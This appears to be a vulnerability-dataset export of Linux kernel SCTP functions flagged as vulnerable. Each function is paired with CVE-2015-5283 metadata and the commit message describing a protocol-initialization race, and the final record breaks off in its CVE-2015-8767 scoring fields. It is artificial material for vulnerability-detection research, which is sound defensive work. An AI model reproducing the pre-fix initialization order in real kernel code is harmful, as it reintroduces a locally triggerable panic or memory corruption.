Marcelo Ricardo Leitner <[email protected]> Signed-off-by: David S. Miller <[email protected]>
8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
sctp_exit
sctp_exit( void)
['void']
static __exit void sctp_exit(void) { /* BUG. This should probably do something useful like clean * up all the remaining associations and all that memory. */ /* Unregister with inet6/inet layers. */ sctp_v6_del_protocol(); sctp_v4_del_protocol(); unregister_pernet_subsys(&sctp_net_ops); /* Free protosw registrations */ sctp_v6_protosw_exit(); sctp_v4_protosw_exit(); /* Unregister with socket layer. */ sctp_v6_pf_exit(); sctp_v4_pf_exit(); sctp_sysctl_unregister(); free_pages((unsigned long)sctp_assoc_hashtable, get_order(sctp_assoc_hashsize * sizeof(struct sctp_hashbucket))); kfree(sctp_ep_hashtable); free_pages((unsigned long)sctp_port_hashtable, get_order(sctp_port_hashsize * sizeof(struct sctp_bind_hashbucket))); percpu_counter_destroy(&sctp_sockets_allocated); rcu_barrier(); /* Wait for completion of call_rcu()'s */ kmem_cache_destroy(sctp_chunk_cachep); kmem_cache_destroy(sctp_bucket_cachep); }
105
True
1
CVE-2015-5283
False
False
False
False
AV:L/AC:M/Au:N/C:N/I:N/A:C
LOCAL
MEDIUM
NONE
NONE
NONE
COMPLETE
4.7
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'https://security-tracker.debian.org/tracker/CVE-2015-5283', 'name': 'https://security-tracker.debian.org/tracker/CVE-2015-5283', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4', 'refsource': 'CONFIRM', 'tags': ['Exploit']}, {'url': 'https://github.com/torvalds/linux/commit/8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4', 'name': 'https://github.com/torvalds/linux/commit/8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4', 'refsource': 'CONFIRM', 'tags': ['Exploit']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1257528', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1257528', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://patchwork.ozlabs.org/patch/515996/', 'name': 'http://patchwork.ozlabs.org/patch/515996/', 'refsource': 'CONFIRM', 'tags': ['Exploit']}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.2.3', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.2.3', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/77058', 'name': '77058', 'refsource': 'BID', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-12/msg00005.html', 'name': 'SUSE-SU-2015:2194', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3372', 'name': 'DSA-3372', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2829-2', 'name': 'USN-2829-2', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2823-1', 'name': 'USN-2823-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2826-1', 'name': 'USN-2826-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2829-1', 'name': 'USN-2829-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1033808', 'name': '1033808', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-10/msg00009.html', 'name': 'SUSE-SU-2015:1727', 'refsource': 'SUSE', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-119'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.2.2', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The sctp_init function in net/sctp/protocol.c in the Linux kernel before 4.2.3 has an incorrect sequence of protocol-initialization steps, which allows local users to cause a denial of service (panic or memory corruption) by creating SCTP sockets before all of the steps have finished.'}]
2016-12-08T03:09Z
2015-10-19T10:59Z
Improper Restriction of Operations within the Bounds of a Memory Buffer
The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.
Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data. As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.
https://cwe.mitre.org/data/definitions/119.html
0
Marcelo Ricardo Leitner
2015-09-10 17:31:15-03:00
sctp: fix race on protocol/netns initialization Consider sctp module is unloaded and is being requested because an user is creating a sctp socket. During initialization, sctp will add the new protocol type and then initialize pernet subsys: status = sctp_v4_protosw_init(); if (status) goto err_protosw_init; status = sctp_v6_protosw_init(); if (status) goto err_v6_protosw_init; status = register_pernet_subsys(&sctp_net_ops); The problem is that after those calls to sctp_v{4,6}_protosw_init(), it is possible for userspace to create SCTP sockets like if the module is already fully loaded. If that happens, one of the possible effects is that we will have readers for net->sctp.local_addr_list list earlier than expected and sctp_net_init() does not take precautions while dealing with that list, leading to a potential panic but not limited to that, as sctp_sock_init() will copy a bunch of blank/partially initialized values from net->sctp. The race happens like this: CPU 0 | CPU 1 socket() | __sock_create | socket() inet_create | __sock_create list_for_each_entry_rcu( | answer, &inetsw[sock->type], | list) { | inet_create /* no hits */ | if (unlikely(err)) { | ... | request_module() | /* socket creation is blocked | * the module is fully loaded | */ | sctp_init | sctp_v4_protosw_init | inet_register_protosw | list_add_rcu(&p->list, | last_perm); | | list_for_each_entry_rcu( | answer, &inetsw[sock->type], sctp_v6_protosw_init | list) { | /* hit, so assumes protocol | * is already loaded | */ | /* socket creation continues | * before netns is initialized | */ register_pernet_subsys | Simply inverting the initialization order between register_pernet_subsys() and sctp_v4_protosw_init() is not possible because register_pernet_subsys() will create a control sctp socket, so the protocol must be already visible by then. Deferring the socket creation to a work-queue is not good specially because we loose the ability to handle its errors. So, as suggested by Vlad, the fix is to split netns initialization in two moments: defaults and control socket, so that the defaults are already loaded by when we register the protocol, while control socket initialization is kept at the same moment it is today. Fixes: 4db67e808640 ("sctp: Make the address lists per network namespace") Signed-off-by: Vlad Yasevich <[email protected]> Signed-off-by: Marcelo Ricardo Leitner <[email protected]> Signed-off-by: David S. Miller <[email protected]>
8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
sctp_init
sctp_init( void)
['void']
static __init int sctp_init(void) { int i; int status = -EINVAL; unsigned long goal; unsigned long limit; int max_share; int order; sock_skb_cb_check_size(sizeof(struct sctp_ulpevent)); /* Allocate bind_bucket and chunk caches. */ status = -ENOBUFS; sctp_bucket_cachep = kmem_cache_create("sctp_bind_bucket", sizeof(struct sctp_bind_bucket), 0, SLAB_HWCACHE_ALIGN, NULL); if (!sctp_bucket_cachep) goto out; sctp_chunk_cachep = kmem_cache_create("sctp_chunk", sizeof(struct sctp_chunk), 0, SLAB_HWCACHE_ALIGN, NULL); if (!sctp_chunk_cachep) goto err_chunk_cachep; status = percpu_counter_init(&sctp_sockets_allocated, 0, GFP_KERNEL); if (status) goto err_percpu_counter_init; /* Implementation specific variables. */ /* Initialize default stream count setup information. */ sctp_max_instreams = SCTP_DEFAULT_INSTREAMS; sctp_max_outstreams = SCTP_DEFAULT_OUTSTREAMS; /* Initialize handle used for association ids. */ idr_init(&sctp_assocs_id); limit = nr_free_buffer_pages() / 8; limit = max(limit, 128UL); sysctl_sctp_mem[0] = limit / 4 * 3; sysctl_sctp_mem[1] = limit; sysctl_sctp_mem[2] = sysctl_sctp_mem[0] * 2; /* Set per-socket limits to no more than 1/128 the pressure threshold*/ limit = (sysctl_sctp_mem[1]) << (PAGE_SHIFT - 7); max_share = min(4UL*1024*1024, limit); sysctl_sctp_rmem[0] = SK_MEM_QUANTUM; /* give each asoc 1 page min */ sysctl_sctp_rmem[1] = 1500 * SKB_TRUESIZE(1); sysctl_sctp_rmem[2] = max(sysctl_sctp_rmem[1], max_share); sysctl_sctp_wmem[0] = SK_MEM_QUANTUM; sysctl_sctp_wmem[1] = 16*1024; sysctl_sctp_wmem[2] = max(64*1024, max_share); /* Size and allocate the association hash table. * The methodology is similar to that of the tcp hash tables. */ if (totalram_pages >= (128 * 1024)) goal = totalram_pages >> (22 - PAGE_SHIFT); else goal = totalram_pages >> (24 - PAGE_SHIFT); for (order = 0; (1UL << order) < goal; order++) ; do { sctp_assoc_hashsize = (1UL << order) * PAGE_SIZE / sizeof(struct sctp_hashbucket); if ((sctp_assoc_hashsize > (64 * 1024)) && order > 0) continue; sctp_assoc_hashtable = (struct sctp_hashbucket *) __get_free_pages(GFP_ATOMIC|__GFP_NOWARN, order); } while (!sctp_assoc_hashtable && --order > 0); if (!sctp_assoc_hashtable) { pr_err("Failed association hash alloc\n"); status = -ENOMEM; goto err_ahash_alloc; } for (i = 0; i < sctp_assoc_hashsize; i++) { rwlock_init(&sctp_assoc_hashtable[i].lock); INIT_HLIST_HEAD(&sctp_assoc_hashtable[i].chain); } /* Allocate and initialize the endpoint hash table. */ sctp_ep_hashsize = 64; sctp_ep_hashtable = kmalloc(64 * sizeof(struct sctp_hashbucket), GFP_KERNEL); if (!sctp_ep_hashtable) { pr_err("Failed endpoint_hash alloc\n"); status = -ENOMEM; goto err_ehash_alloc; } for (i = 0; i < sctp_ep_hashsize; i++) { rwlock_init(&sctp_ep_hashtable[i].lock); INIT_HLIST_HEAD(&sctp_ep_hashtable[i].chain); } /* Allocate and initialize the SCTP port hash table. */ do { sctp_port_hashsize = (1UL << order) * PAGE_SIZE / sizeof(struct sctp_bind_hashbucket); if ((sctp_port_hashsize > (64 * 1024)) && order > 0) continue; sctp_port_hashtable = (struct sctp_bind_hashbucket *) __get_free_pages(GFP_ATOMIC|__GFP_NOWARN, order); } while (!sctp_port_hashtable && --order > 0); if (!sctp_port_hashtable) { pr_err("Failed bind hash alloc\n"); status = -ENOMEM; goto err_bhash_alloc; } for (i = 0; i < sctp_port_hashsize; i++) { spin_lock_init(&sctp_port_hashtable[i].lock); INIT_HLIST_HEAD(&sctp_port_hashtable[i].chain); } pr_info("Hash tables configured (established %d bind %d)\n", sctp_assoc_hashsize, sctp_port_hashsize); sctp_sysctl_register(); INIT_LIST_HEAD(&sctp_address_families); sctp_v4_pf_init(); sctp_v6_pf_init(); status = sctp_v4_protosw_init(); if (status) goto err_protosw_init; status = sctp_v6_protosw_init(); if (status) goto err_v6_protosw_init; status = register_pernet_subsys(&sctp_net_ops); if (status) goto err_register_pernet_subsys; status = sctp_v4_add_protocol(); if (status) goto err_add_protocol; /* Register SCTP with inet6 layer. */ status = sctp_v6_add_protocol(); if (status) goto err_v6_add_protocol; out: return status; err_v6_add_protocol: sctp_v4_del_protocol(); err_add_protocol: unregister_pernet_subsys(&sctp_net_ops); err_register_pernet_subsys: sctp_v6_protosw_exit(); err_v6_protosw_init: sctp_v4_protosw_exit(); err_protosw_init: sctp_v4_pf_exit(); sctp_v6_pf_exit(); sctp_sysctl_unregister(); free_pages((unsigned long)sctp_port_hashtable, get_order(sctp_port_hashsize * sizeof(struct sctp_bind_hashbucket))); err_bhash_alloc: kfree(sctp_ep_hashtable); err_ehash_alloc: free_pages((unsigned long)sctp_assoc_hashtable, get_order(sctp_assoc_hashsize * sizeof(struct sctp_hashbucket))); err_ahash_alloc: percpu_counter_destroy(&sctp_sockets_allocated); err_percpu_counter_init: kmem_cache_destroy(sctp_chunk_cachep); err_chunk_cachep: kmem_cache_destroy(sctp_bucket_cachep); goto out; }
855
True
1
CVE-2015-5283
False
False
False
False
AV:L/AC:M/Au:N/C:N/I:N/A:C
LOCAL
MEDIUM
NONE
NONE
NONE
COMPLETE
4.7
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'https://security-tracker.debian.org/tracker/CVE-2015-5283', 'name': 'https://security-tracker.debian.org/tracker/CVE-2015-5283', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4', 'refsource': 'CONFIRM', 'tags': ['Exploit']}, {'url': 'https://github.com/torvalds/linux/commit/8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4', 'name': 'https://github.com/torvalds/linux/commit/8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4', 'refsource': 'CONFIRM', 'tags': ['Exploit']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1257528', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1257528', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://patchwork.ozlabs.org/patch/515996/', 'name': 'http://patchwork.ozlabs.org/patch/515996/', 'refsource': 'CONFIRM', 'tags': ['Exploit']}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.2.3', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.2.3', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/77058', 'name': '77058', 'refsource': 'BID', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-12/msg00005.html', 'name': 'SUSE-SU-2015:2194', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3372', 'name': 'DSA-3372', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2829-2', 'name': 'USN-2829-2', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2823-1', 'name': 'USN-2823-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2826-1', 'name': 'USN-2826-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2829-1', 'name': 'USN-2829-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1033808', 'name': '1033808', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-10/msg00009.html', 'name': 'SUSE-SU-2015:1727', 'refsource': 'SUSE', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-119'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.2.2', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The sctp_init function in net/sctp/protocol.c in the Linux kernel before 4.2.3 has an incorrect sequence of protocol-initialization steps, which allows local users to cause a denial of service (panic or memory corruption) by creating SCTP sockets before all of the steps have finished.'}]
2016-12-08T03:09Z
2015-10-19T10:59Z
Improper Restriction of Operations within the Bounds of a Memory Buffer
The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.
Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data. As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.
https://cwe.mitre.org/data/definitions/119.html
0
Marcelo Ricardo Leitner
2015-09-10 17:31:15-03:00
sctp: fix race on protocol/netns initialization Consider sctp module is unloaded and is being requested because an user is creating a sctp socket. During initialization, sctp will add the new protocol type and then initialize pernet subsys: status = sctp_v4_protosw_init(); if (status) goto err_protosw_init; status = sctp_v6_protosw_init(); if (status) goto err_v6_protosw_init; status = register_pernet_subsys(&sctp_net_ops); The problem is that after those calls to sctp_v{4,6}_protosw_init(), it is possible for userspace to create SCTP sockets like if the module is already fully loaded. If that happens, one of the possible effects is that we will have readers for net->sctp.local_addr_list list earlier than expected and sctp_net_init() does not take precautions while dealing with that list, leading to a potential panic but not limited to that, as sctp_sock_init() will copy a bunch of blank/partially initialized values from net->sctp. The race happens like this: CPU 0 | CPU 1 socket() | __sock_create | socket() inet_create | __sock_create list_for_each_entry_rcu( | answer, &inetsw[sock->type], | list) { | inet_create /* no hits */ | if (unlikely(err)) { | ... | request_module() | /* socket creation is blocked | * the module is fully loaded | */ | sctp_init | sctp_v4_protosw_init | inet_register_protosw | list_add_rcu(&p->list, | last_perm); | | list_for_each_entry_rcu( | answer, &inetsw[sock->type], sctp_v6_protosw_init | list) { | /* hit, so assumes protocol | * is already loaded | */ | /* socket creation continues | * before netns is initialized | */ register_pernet_subsys | Simply inverting the initialization order between register_pernet_subsys() and sctp_v4_protosw_init() is not possible because register_pernet_subsys() will create a control sctp socket, so the protocol must be already visible by then. Deferring the socket creation to a work-queue is not good specially because we loose the ability to handle its errors. So, as suggested by Vlad, the fix is to split netns initialization in two moments: defaults and control socket, so that the defaults are already loaded by when we register the protocol, while control socket initialization is kept at the same moment it is today. Fixes: 4db67e808640 ("sctp: Make the address lists per network namespace") Signed-off-by: Vlad Yasevich <[email protected]> Signed-off-by: Marcelo Ricardo Leitner <[email protected]> Signed-off-by: David S. Miller <[email protected]>
8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
sctp_net_exit
sctp_net_exit( struct net * net)
['net']
static void __net_exit sctp_net_exit(struct net *net) { /* Free the local address list */ sctp_free_addr_wq(net); sctp_free_local_addr_list(net); /* Free the control endpoint. */ inet_ctl_sock_destroy(net->sctp.ctl_sock); sctp_dbg_objcnt_exit(net); sctp_proc_exit(net); cleanup_sctp_mibs(net); sctp_sysctl_net_unregister(net); }
48
True
1
CVE-2015-5283
False
False
False
False
AV:L/AC:M/Au:N/C:N/I:N/A:C
LOCAL
MEDIUM
NONE
NONE
NONE
COMPLETE
4.7
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'https://security-tracker.debian.org/tracker/CVE-2015-5283', 'name': 'https://security-tracker.debian.org/tracker/CVE-2015-5283', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4', 'refsource': 'CONFIRM', 'tags': ['Exploit']}, {'url': 'https://github.com/torvalds/linux/commit/8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4', 'name': 'https://github.com/torvalds/linux/commit/8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4', 'refsource': 'CONFIRM', 'tags': ['Exploit']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1257528', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1257528', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://patchwork.ozlabs.org/patch/515996/', 'name': 'http://patchwork.ozlabs.org/patch/515996/', 'refsource': 'CONFIRM', 'tags': ['Exploit']}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.2.3', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.2.3', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/77058', 'name': '77058', 'refsource': 'BID', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-12/msg00005.html', 'name': 'SUSE-SU-2015:2194', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3372', 'name': 'DSA-3372', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2829-2', 'name': 'USN-2829-2', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2823-1', 'name': 'USN-2823-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2826-1', 'name': 'USN-2826-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2829-1', 'name': 'USN-2829-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1033808', 'name': '1033808', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-10/msg00009.html', 'name': 'SUSE-SU-2015:1727', 'refsource': 'SUSE', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-119'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.2.2', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The sctp_init function in net/sctp/protocol.c in the Linux kernel before 4.2.3 has an incorrect sequence of protocol-initialization steps, which allows local users to cause a denial of service (panic or memory corruption) by creating SCTP sockets before all of the steps have finished.'}]
2016-12-08T03:09Z
2015-10-19T10:59Z
Improper Restriction of Operations within the Bounds of a Memory Buffer
The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.
Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data. As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.
https://cwe.mitre.org/data/definitions/119.html
0
Marcelo Ricardo Leitner
2015-09-10 17:31:15-03:00
sctp: fix race on protocol/netns initialization Consider sctp module is unloaded and is being requested because an user is creating a sctp socket. During initialization, sctp will add the new protocol type and then initialize pernet subsys: status = sctp_v4_protosw_init(); if (status) goto err_protosw_init; status = sctp_v6_protosw_init(); if (status) goto err_v6_protosw_init; status = register_pernet_subsys(&sctp_net_ops); The problem is that after those calls to sctp_v{4,6}_protosw_init(), it is possible for userspace to create SCTP sockets like if the module is already fully loaded. If that happens, one of the possible effects is that we will have readers for net->sctp.local_addr_list list earlier than expected and sctp_net_init() does not take precautions while dealing with that list, leading to a potential panic but not limited to that, as sctp_sock_init() will copy a bunch of blank/partially initialized values from net->sctp. The race happens like this: CPU 0 | CPU 1 socket() | __sock_create | socket() inet_create | __sock_create list_for_each_entry_rcu( | answer, &inetsw[sock->type], | list) { | inet_create /* no hits */ | if (unlikely(err)) { | ... | request_module() | /* socket creation is blocked | * the module is fully loaded | */ | sctp_init | sctp_v4_protosw_init | inet_register_protosw | list_add_rcu(&p->list, | last_perm); | | list_for_each_entry_rcu( | answer, &inetsw[sock->type], sctp_v6_protosw_init | list) { | /* hit, so assumes protocol | * is already loaded | */ | /* socket creation continues | * before netns is initialized | */ register_pernet_subsys | Simply inverting the initialization order between register_pernet_subsys() and sctp_v4_protosw_init() is not possible because register_pernet_subsys() will create a control sctp socket, so the protocol must be already visible by then. Deferring the socket creation to a work-queue is not good specially because we loose the ability to handle its errors. So, as suggested by Vlad, the fix is to split netns initialization in two moments: defaults and control socket, so that the defaults are already loaded by when we register the protocol, while control socket initialization is kept at the same moment it is today. Fixes: 4db67e808640 ("sctp: Make the address lists per network namespace") Signed-off-by: Vlad Yasevich <[email protected]> Signed-off-by: Marcelo Ricardo Leitner <[email protected]> Signed-off-by: David S. Miller <[email protected]>
8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
sctp_net_init
sctp_net_init( struct net * net)
['net']
static int __net_init sctp_net_init(struct net *net) { int status; /* * 14. Suggested SCTP Protocol Parameter Values */ /* The following protocol parameters are RECOMMENDED: */ /* RTO.Initial - 3 seconds */ net->sctp.rto_initial = SCTP_RTO_INITIAL; /* RTO.Min - 1 second */ net->sctp.rto_min = SCTP_RTO_MIN; /* RTO.Max - 60 seconds */ net->sctp.rto_max = SCTP_RTO_MAX; /* RTO.Alpha - 1/8 */ net->sctp.rto_alpha = SCTP_RTO_ALPHA; /* RTO.Beta - 1/4 */ net->sctp.rto_beta = SCTP_RTO_BETA; /* Valid.Cookie.Life - 60 seconds */ net->sctp.valid_cookie_life = SCTP_DEFAULT_COOKIE_LIFE; /* Whether Cookie Preservative is enabled(1) or not(0) */ net->sctp.cookie_preserve_enable = 1; /* Default sctp sockets to use md5 as their hmac alg */ #if defined (CONFIG_SCTP_DEFAULT_COOKIE_HMAC_MD5) net->sctp.sctp_hmac_alg = "md5"; #elif defined (CONFIG_SCTP_DEFAULT_COOKIE_HMAC_SHA1) net->sctp.sctp_hmac_alg = "sha1"; #else net->sctp.sctp_hmac_alg = NULL; #endif /* Max.Burst - 4 */ net->sctp.max_burst = SCTP_DEFAULT_MAX_BURST; /* Association.Max.Retrans - 10 attempts * Path.Max.Retrans - 5 attempts (per destination address) * Max.Init.Retransmits - 8 attempts */ net->sctp.max_retrans_association = 10; net->sctp.max_retrans_path = 5; net->sctp.max_retrans_init = 8; /* Sendbuffer growth - do per-socket accounting */ net->sctp.sndbuf_policy = 0; /* Rcvbuffer growth - do per-socket accounting */ net->sctp.rcvbuf_policy = 0; /* HB.interval - 30 seconds */ net->sctp.hb_interval = SCTP_DEFAULT_TIMEOUT_HEARTBEAT; /* delayed SACK timeout */ net->sctp.sack_timeout = SCTP_DEFAULT_TIMEOUT_SACK; /* Disable ADDIP by default. */ net->sctp.addip_enable = 0; net->sctp.addip_noauth = 0; net->sctp.default_auto_asconf = 0; /* Enable PR-SCTP by default. */ net->sctp.prsctp_enable = 1; /* Disable AUTH by default. */ net->sctp.auth_enable = 0; /* Set SCOPE policy to enabled */ net->sctp.scope_policy = SCTP_SCOPE_POLICY_ENABLE; /* Set the default rwnd update threshold */ net->sctp.rwnd_upd_shift = SCTP_DEFAULT_RWND_SHIFT; /* Initialize maximum autoclose timeout. */ net->sctp.max_autoclose = INT_MAX / HZ; status = sctp_sysctl_net_register(net); if (status) goto err_sysctl_register; /* Allocate and initialise sctp mibs. */ status = init_sctp_mibs(net); if (status) goto err_init_mibs; /* Initialize proc fs directory. */ status = sctp_proc_init(net); if (status) goto err_init_proc; sctp_dbg_objcnt_init(net); /* Initialize the control inode/socket for handling OOTB packets. */ if ((status = sctp_ctl_sock_init(net))) { pr_err("Failed to initialize the SCTP control sock\n"); goto err_ctl_sock_init; } /* Initialize the local address list. */ INIT_LIST_HEAD(&net->sctp.local_addr_list); spin_lock_init(&net->sctp.local_addr_lock); sctp_get_local_addr_list(net); /* Initialize the address event list */ INIT_LIST_HEAD(&net->sctp.addr_waitq); INIT_LIST_HEAD(&net->sctp.auto_asconf_splist); spin_lock_init(&net->sctp.addr_wq_lock); net->sctp.addr_wq_timer.expires = 0; setup_timer(&net->sctp.addr_wq_timer, sctp_addr_wq_timeout_handler, (unsigned long)net); return 0; err_ctl_sock_init: sctp_dbg_objcnt_exit(net); sctp_proc_exit(net); err_init_proc: cleanup_sctp_mibs(net); err_init_mibs: sctp_sysctl_net_unregister(net); err_sysctl_register: return status; }
407
True
1
CVE-2015-8767
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
LOCAL
LOW
NONE
NONE
UNCHANGED
NONE
NONE
HIGH
6.2
MEDIUM
2.5
3.6
nan
